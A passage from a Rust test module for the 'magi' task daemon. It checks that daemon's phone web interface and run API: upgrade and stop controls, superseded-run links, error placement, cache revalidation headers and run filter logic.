10341        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
10342        assert!(APP_JS.contains("Replace the binary and restart?"));
10343        assert!(APP_JS.contains("function confirmed("));
10344        // Hidden when the loop is somebody else's, matching the 409 above -
10345        // and hidden with nothing to install, matching the 200 "already
10346        // current" branch: an operator on the newest build must not be
10347        // offered a restart that would only park a run for nothing.
10348        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
10349        // A park waits for the node in flight, up to an hour for an implement
10350        // wave. Leaving the button reading "Upgrading…" for that long is the
10351        // same mistake as an error rendered off screen: it looks wedged.
10352        assert!(
10353            APP_JS.contains("Parking, then restarting"),
10354            "the button says what it is waiting for"
10355        );
10356        // And nothing to install must give the button back rather than
10357        // pretending a restart is coming.
10358        assert!(APP_JS.contains("if (!out.to)"));
10359    }
10360
10361    #[test]
10362    fn stopping_the_loop_arms_but_starting_does_not() {
10363        // A stray tap must not leave the queue stopped overnight, so a stop is
10364        // two taps through the same helper the upgrade uses; a start stays one.
10365        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
10366        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
10367        assert!(APP_JS.contains("confirmed(button, question)"));
10368        // The label put back on timeout is the one saved when arming, not a
10369        // hard-coded upgrade caption that would rename the stop button.
10370        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
10371        assert!(APP_JS.contains("const label = btn.textContent;"));
10372        assert!(!APP_JS.contains("Neither direction is guarded"));
10373    }
10374
10375    #[test]
10376    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
10377        assert!(
10378            APP_JS.contains("state.health.version"),
10379            "the operator wants to know what is running even with nothing newer"
10380        );
10381        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
10382    }
10383
10384    #[test]
10385    fn the_upgrade_button_names_its_destination() {
10386        assert!(
10387            APP_JS.contains("`Update to ${update.to}`"),
10388            "pressing the button should not be a surprise about what it moves to"
10389        );
10390    }
10391
10392    #[test]
10393    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
10394        for stage in ["downloading", "replaced", "parking", "restarting"] {
10395            assert!(
10396                APP_JS.contains(&format!("\"{stage}\"")),
10397                "the phone must be able to tell {stage} apart from the others"
10398            );
10399        }
10400        assert!(APP_JS.contains(".waiting_on"));
10401        // What replaced the bare "Cannot reach magi: Failed to fetch": a
10402        // fetch failing while an upgrade is in flight is not an error, it is
10403        // the sub-second gap `bind_waiting` covers, and it must not be
10404        // reported as one.
10405        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
10406        assert!(APP_JS.contains("reconnects on its own"));
10407    }
10408
10409    #[test]
10410    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
10411        // `Stage::Failed` is terminal on the server and nothing clears it on
10412        // its own - not a fresh start, not time passing - so a full-strip
10413        // takeover for it (the way the busy stages take the strip over,
10414        // correctly, because those are transient) would have hidden
10415        // start/stop/park behind an upgrade notice with no way back short of
10416        // a person editing `upgrade.json` by hand or a later release
10417        // happening to succeed. The failure must instead ride along as a note
10418        // next to whatever control the loop's own state already offers.
10419        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
10420            ..APP_JS.find("function upgrade(").expect("upgrade")];
10421        assert!(
10422            !body.contains(
10423                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
10424            ),
10425            "a failed upgrade must not take the whole strip over the way it used to"
10426        );
10427        assert!(
10428            body.contains("upgradeFailNote"),
10429            "the failure has to reach the loop's own note instead"
10430        );
10431        // `quiet` and `control` are the only two places `loop-why` is set from
10432        // this function's own state; both must carry the note through, or a
10433        // future edit to either one would silently drop it again.
10434        assert_eq!(
10435            body.matches("upgradeFailNote].filter(Boolean).join")
10436                .count(),
10437            2,
10438            "both loop-why writers (quiet and control) must fold the note in"
10439        );
10440    }
10441
10442    #[test]
10443    fn an_overdue_upgrade_eventually_asks_for_a_human() {
10444        // The ceiling has to clear a full hour-long park with room to spare,
10445        // or an ordinary implement wave would be reported as a stuck upgrade.
10446        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
10447        assert!(APP_JS.contains("function upgradeOverdue("));
10448    }
10449
10450    #[test]
10451    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
10452        assert!(
10453            APP_JS.contains("Updated to ${upgradeInfo.to"),
10454            "the operator who asked for the restart wants to know it worked"
10455        );
10456    }
10457
10458    #[test]
10459    fn an_error_is_visible_from_where_the_button_is() {
10460        // The alert used to sit in the flow under the header. On a phone
10461        // scrolled 13 500 px down to a run's action sheet that is off screen,
10462        // so tapping Resume and being told "the loop is running run b455
10463        // right now" looked exactly like a button that did nothing.
10464        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
10465            ..APP_CSS.find(".alert-text").expect(".alert-text")];
10466        assert!(
10467            alert.contains("position: fixed"),
10468            "an error about the thing under your thumb has to be visible from \
10469             where your thumb is: {alert}"
10470        );
10471        assert!(
10472            alert.contains("z-index: 25"),
10473            "above the dock (20) and the run-actions FAB (15), so neither \
10474             buries it: {alert}"
10475        );
10476        assert!(
10477            alert.contains("var(--tap)"),
10478            "and clear of the dock and the home indicator: {alert}"
10479        );
10480        // The FAB sits at the same height on the right. An error that covered
10481        // it would hide the button the operator reaches for next.
10482        assert!(
10483            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
10484            "the FAB's column stays free: {alert}"
10485        );
10486    }
10487
10488    #[tokio::test]
10489    async fn an_older_attempt_says_what_replaced_it() {
10490        let fx = Fixture::start().await;
10491        let q = fx.queue();
10492        let runs = fx.runs();
10493        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
10494        write_run(&runs, first, RunStatus::Stalled);
10495        write_run(&runs, second, RunStatus::Blocked);
10496
10497        let mut t = Task::new(
10498            "one task".to_owned(),
10499            "do it".to_owned(),
10500            PathBuf::from("/repo"),
10501            Source::Human,
10502        );
10503        t.runs = vec![first.to_owned(), second.to_owned()];
10504        q.put(&mut t).expect("put");
10505
10506        // Two cards with the same title and no hint which is which was the
10507        // question: "why are there two of the same, one stalled and one
10508        // blocked?" The older one now names its replacement.
10509        let rows = fx.get("/api/runs").await.json();
10510        let by = |short: &str| -> Value {
10511            rows.as_array()
10512                .unwrap()
10513                .iter()
10514                .find(|r| r["short"] == short)
10515                .cloned()
10516                .unwrap_or(Value::Null)
10517        };
10518        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
10519        assert!(
10520            by("bbbb")["superseded_by"].is_null(),
10521            "the latest attempt is not superseded by anything"
10522        );
10523        // Front end: the note has to be rendered, not just carried.
10524        assert!(APP_JS.contains("run.superseded_by"));
10525        assert!(APP_JS.contains("Superseded by"));
10526    }
10527
10528    #[tokio::test]
10529    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
10530        // The list route has known this since the card fix above; the detail
10531        // route — what an operator actually opens from a notification about
10532        // a blocked run — did not, and went on showing a bare red BLOCKED
10533        // chip for a run a retry had already finished.
10534        let fx = Fixture::start().await;
10535        let q = fx.queue();
10536        let runs = fx.runs();
10537        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
10538        write_run(&runs, first, RunStatus::Blocked);
10539        write_run(&runs, second, RunStatus::Merged);
10540
10541        let mut t = Task::new(
10542            "one task".to_owned(),
10543            "do it".to_owned(),
10544            PathBuf::from("/repo"),
10545            Source::Human,
10546        );
10547        t.runs = vec![first.to_owned(), second.to_owned()];
10548        q.put(&mut t).expect("put");
10549
10550        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
10551        assert_eq!(earlier["superseded_by"], "dddd");
10552        assert_eq!(earlier["latest_attempt"]["id"], second);
10553        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
10554        assert_eq!(
10555            earlier["latest_attempt"]["resolved"], true,
10556            "the run that replaced it landed, so this one reads as settled"
10557        );
10558
10559        let later = fx.get(&format!("/api/runs/{second}")).await.json();
10560        assert!(
10561            later["superseded_by"].is_null(),
10562            "the latest attempt is not superseded by anything"
10563        );
10564        assert!(
10565            later["latest_attempt"].is_null(),
10566            "the latest attempt has no later attempt of its own"
10567        );
10568
10569        // Front end: the detail page has to read the field this route now
10570        // carries, downgrade the chip, and link to the run that replaced it —
10571        // not just repeat the list card's own logic under a different name.
10572        // The link is built off `latest_attempt.id`, the server-resolved
10573        // full id, never a bare short string a client would have to guess a
10574        // full run from.
10575        assert!(APP_JS.contains("run.latest_attempt"));
10576        assert!(APP_JS.contains("data-superseded"));
10577        assert!(APP_JS.contains("#/runs/${latest.id}"));
10578    }
10579
10580    #[tokio::test]
10581    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
10582        // A -> B -> C, all Blocked except the last. A's immediate successor
10583        // (superseded_by) is B, which is itself unresolved; what an operator
10584        // opening A's page actually needs is where the task's story stands
10585        // *now* - C, not B - without depending on whether C happens to be in
10586        // whatever page of /api/runs the client last cached.
10587        let fx = Fixture::start().await;
10588        let q = fx.queue();
10589        let runs = fx.runs();
10590        let (a, b, c) = (
10591            "20260901-000000-aaaa",
10592            "20260901-000000-bbbb",
10593            "20260901-000000-cccc",
10594        );
10595        write_run(&runs, a, RunStatus::Blocked);
10596        write_run(&runs, b, RunStatus::Blocked);
10597        write_run(&runs, c, RunStatus::Merged);
10598
10599        let mut t = Task::new(
10600            "retried twice".to_owned(),
10601            "do it".to_owned(),
10602            PathBuf::from("/repo"),
10603            Source::Human,
10604        );
10605        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
10606        q.put(&mut t).expect("put");
10607
10608        let view = fx.get(&format!("/api/runs/{a}")).await.json();
10609        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
10610        assert_eq!(
10611            view["latest_attempt"]["id"], c,
10612            "the chain's current head, not the intermediate Blocked retry"
10613        );
10614        assert_eq!(view["latest_attempt"]["resolved"], true);
10615
10616        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
10617        assert_eq!(mid["latest_attempt"]["id"], c);
10618        assert_eq!(mid["latest_attempt"]["resolved"], true);
10619    }
10620
10621    #[tokio::test]
10622    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
10623        let fx = Fixture::start().await;
10624        let q = fx.queue();
10625        let runs = fx.runs();
10626
10627        // Still Blocked: the task is not resolved, so the older run must not
10628        // read as settled either.
10629        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
10630        write_run(&runs, still_blocked_a, RunStatus::Blocked);
10631        write_run(&runs, still_blocked_b, RunStatus::Blocked);
10632        let mut t1 = Task::new(
10633            "still stuck".to_owned(),
10634            "do it".to_owned(),
10635            PathBuf::from("/repo"),
10636            Source::Human,
10637        );
10638        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
10639        q.put(&mut t1).expect("put");
10640        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
10641        assert_eq!(view1["latest_attempt"]["resolved"], false);
10642
10643        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
10644        // to check - not a confirmed finish, so this must not read as
10645        // resolved either, even though the run is done in the sense that
10646        // nothing is still running.
10647        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
10648        write_run(&runs, noop_a, RunStatus::Blocked);
10649        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
10650        let mut t2 = Task::new(
10651            "claims done".to_owned(),
10652            "do it".to_owned(),
10653            PathBuf::from("/repo"),
10654            Source::Human,
10655        );
10656        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
10657        q.put(&mut t2).expect("put");
10658        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
10659        assert_eq!(
10660            view2["latest_attempt"]["resolved"], false,
10661            "an unverified no-op claim must not read as a confirmed finish"
10662        );
10663
10664        // Front end: an unresolved successor must not carry the "finished
10665        // this work" note or the muted chip treatment.
10666        assert!(APP_JS.contains("latest.resolved"));
10667    }
10668
10669    #[tokio::test]
10670    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
10671        let fx = Fixture::start().await;
10672        // No cache header at all meant browsers invented their own policy,
10673        // and one did: a phone went on showing "Candidates must be folded
10674        // before deleting. Run `magi fold` first." - deleted two releases
10675        // earlier - from a deck that no longer contained the sentence. The
10676        // button it named was right there, and unreachable.
10677        let js = fx.get("/app.js").await;
10678        assert_eq!(js.status, 200);
10679        let tag = js
10680            .header("etag")
10681            .expect("an etag to revalidate against")
10682            .to_owned();
10683        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
10684        assert_eq!(
10685            js.header("cache-control"),
10686            Some("no-cache, must-revalidate"),
10687            "the phone has to ask every time"
10688        );
10689
10690        // And the asking has to be cheap, or `must-revalidate` just means
10691        // "send the whole interface on every load".
10692        let again = fx
10693            .get_with("/app.js", &[("if-none-match", tag.as_str())])
10694            .await;
10695        assert_eq!(
10696            again.status, 304,
10697            "a deck it already has costs one round trip"
10698        );
10699        assert!(again.body.is_empty(), "304 carries no body");
10700
10701        // A weakened tag from a proxy still matches; a different build does
10702        // not, which is the case that has to deliver the new interface.
10703        let weak = fx
10704            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
10705            .await;
10706        assert_eq!(weak.status, 304);
10707        let stale = fx
10708            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
10709            .await;
10710        assert_eq!(stale.status, 200, "an older build must be replaced");
10711        assert!(stale.body.contains("renderRunActions"));
10712    }
10713
10714    #[test]
10715    fn the_deck_never_sends_the_operator_to_a_terminal() {
10716        // The whole point of the phone UI is that a terminal is not needed.
10717        // The delete control used to answer with "Run `magi fold` first."
10718        assert!(
10719            !APP_JS.contains("Run `magi fold` first"),
10720            "the deck must offer the fold, not prescribe a shell command"
10721        );
10722        assert!(APP_JS.contains("foldRun:"));
10723        assert!(APP_JS.contains("resumeRun:"));
10724        assert!(APP_JS.contains("renderRunActions"));
10725
10726        // Folding is destructive and armed in two steps, like deleting.
10727        assert!(APP_JS.contains("armedFold"));
10728        assert!(APP_JS.contains("Yes, fold worktrees"));
10729
10730        // And the copy has to say that the two actions are opposites, because
10731        // folding throws away exactly what a resume would continue from.
10732        assert!(APP_JS.contains("can no longer be resumed"));
10733    }
10734
10735    #[test]
10736    fn a_finished_run_explains_itself_with_its_own_last_line() {
10737        // The deck used to answer "why did this stop?" with a sentence chosen
10738        // by status alone. Run e633 stalled because two judges answered with
10739        // the wrong JSON shape and its card said "The panel collapsed on
10740        // agent quota" - with `quota: []` in the record and a quota-loss
10741        // counter right above it that correctly said nothing.
10742        assert!(
10743            !APP_JS.contains("collapsed on agent quota"),
10744            "a stall must not be explained by a cause the deck did not check"
10745        );
10746        assert!(
10747            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
10748            "and a block must not offer a guess with an `or` in it"
10749        );
10750
10751        // The reason it does have is `run.event`, which must reach finished
10752        // runs: gating it on movement hid the recorded truth at the one moment
10753        // the operator is reading the card to find out what happened.
10754        assert!(
10755            APP_JS.contains("setText(r.event, run.event || \"\")"),
10756            "the run's last line is rendered unconditionally"
10757        );
10758        assert!(
10759            !APP_JS.contains("moving && run.event"),
10760            "and never gated on the run still moving"
10761        );
10762
10763        // Quota keeps its own counter, fed by the number actually recorded.
10764        assert!(APP_JS.contains("lost to quota"));
10765    }
10766
10767    /// The runs tree (section) and the state chips (waiting/done) are two
10768    /// independent lenses ANDed together in `renderRuns`, and some pairings
10769    /// can never both be true for any run - every "Landed"/"Ended" run is
10770    /// done by construction, so pairing either with "Active" or "In flight"
10771    /// always rendered zero cards with the filter bar still claiming
10772    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
10773    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
10774    /// a handful of (waiting, status) shapes standing in for the run
10775    /// lifecycle, because `cargo test` cannot execute the front end.
10776    ///
10777    /// That stand-in list is itself the part that drifted twice in review:
10778    /// once shipped with `waiting: true` paired with a done status the
10779    /// lifecycle cannot produce, then over-corrected into treating every
10780    /// waiting run as never done - which made "Waiting on you" look
10781    /// incompatible with "Done" even for the one real, reachable shape
10782    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
10783    /// that combination. This test parses the shapes and the done-rule back
10784    /// out of `APP_JS`, reimplements `runSection` and the five state
10785    /// predicates independently in Rust, and checks the resulting
10786    /// section/filter compatibility table against the lifecycle rules by
10787    /// hand - so either direction of drift fails it again.
10788    #[test]
10789    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
10790        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
10791        let shapes_body_start =
10792            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
10793        let shapes_close = APP_JS[shapes_body_start..]
10794            .find("].map(")
10795            .expect("the shape list is closed by its done-computing .map(...)")
10796            + shapes_body_start;
10797        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
10798
10799        let mut shapes: Vec<(bool, String, bool)> = Vec::new();
10800        for entry in shapes_src.split('{').skip(1) {
10801            let waiting = entry.contains("waiting: true");
10802            let dead = entry.contains("live: \"dead\"");
10803            let status_at =
10804                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
10805            let status_end = entry[status_at..]
10806                .find('"')
10807                .expect("the status string is closed")
10808                + status_at;
10809            shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
10810        }
10811        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
10812
10813        // The done rule itself (`!["implementing"].includes(shape.status)`),
10814        // read out of the source rather than hardcoded, so a renamed
10815        // in-flight status can't silently make every parsed shape "done".
10816        let done_rule_marker = "done: !";
10817        let done_rule_at = APP_JS[shapes_close..]
10818            .find(done_rule_marker)
10819            .expect("the done rule follows the shape list")
10820            + shapes_close
10821            + done_rule_marker.len();
10822        let includes_at = APP_JS[done_rule_at..]
10823            .find(".includes(shape.status)")
10824            .expect("the done rule ends in .includes(shape.status)")
10825            + done_rule_at;
10826        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
10827            .trim()
10828            .trim_start_matches('[')
10829            .trim_end_matches(']')
10830            .split(',')
10831            .map(|s| s.trim().trim_matches('"'))
10832            .filter(|s| !s.is_empty())
10833            .collect();
10834
10835        let shapes: Vec<(bool, String, bool, bool)> = shapes
10836            .into_iter()
10837            .map(|(waiting, status, dead)| {
10838                let done = !not_done.contains(&status.as_str());
10839                (waiting, status, dead, done)
10840            })
10841            .collect();
10842
10843        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
10844        // outright, then merged/ready land, stalled/blocked/failed/
10845        // verified_noop end, and everything else is still in flight.
10846        fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
10847            if waiting {
10848                return "waiting";
10849            }
10850            if dead
10851                && !matches!(
10852                    status,
10853                    "merged"
10854                        | "ready"
10855                        | "stalled"
10856                        | "blocked"
10857                        | "failed"
10858                        | "verified_noop"
10859                        | "superseded"
10860                )
10861            {
10862                return "stale";
10863            }
10864            match status {
10865                "merged" | "ready" => "landed",
10866                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded" => "ended",
10867                _ => "flight",
10868            }
10869        }
10870
10871        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
10872        // way.
10873        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
10874            match filter_key {
10875                "active" => !done,
10876                "flight" => !done && !waiting && !dead,
10877                "stale" => !done && !waiting && dead,
10878                "waiting" => waiting,
10879                "done" => done,
10880                "all" => true,
10881                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
10882            }
10883        }
10884
10885        let compatible = |section: &str, filter_key: &str| {
10886            shapes.iter().any(|(waiting, status, dead, done)| {
10887                run_section(*waiting, status, *dead) == section
10888                    && filter_matches(filter_key, *waiting, *dead, *done)
10889            })
10890        };
10891
10892        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
10893        // (active, flight, stale, waiting, done, all) - hand-derived from the
10894        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
10895        // currently contains.
10896        let expected = [
10897            ("waiting", [true, false, false, true, true, true]),
10898            ("stale", [true, false, true, false, false, true]),
10899            ("flight", [true, true, false, false, false, true]),
10900            ("landed", [false, false, false, false, true, true]),
10901            ("ended", [false, false, false, false, true, true]),
10902        ];
10903        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
10904
10905        for (section, wants) in expected {
10906            for (filter_key, want) in filter_keys.iter().zip(wants) {
10907                assert_eq!(
10908                    compatible(section, filter_key),
10909                    want,
10910                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
10911                );
10912            }
10913        }
10914
10915        // The compatibility check exists only to be acted on: both pickers
10916        // must actually consult it rather than just render its answer.
10917        assert!(
10918            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
10919        );
10920        assert!(APP_JS.contains(
10921            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
10922        ));
10923        assert!(APP_JS.contains(
10924            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
10925        ));
10926    }
10927
10928    #[tokio::test]
10929    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
10930        // An operator-named directory - git checkout or not - is never
10931        // second-guessed, even when it does not exist at all: only the
10932        // flag's own unmodified `.` default is ever eligible for discovery.
10933        let dir = tempfile::tempdir().expect("tempdir");
10934        let explicit = dir.path().join("not-a-checkout");
10935        std::fs::create_dir_all(&explicit).expect("create dir");
10936        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
10937
10938        let missing = dir.path().join("does-not-exist-at-all");
10939        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
10940    }
10941}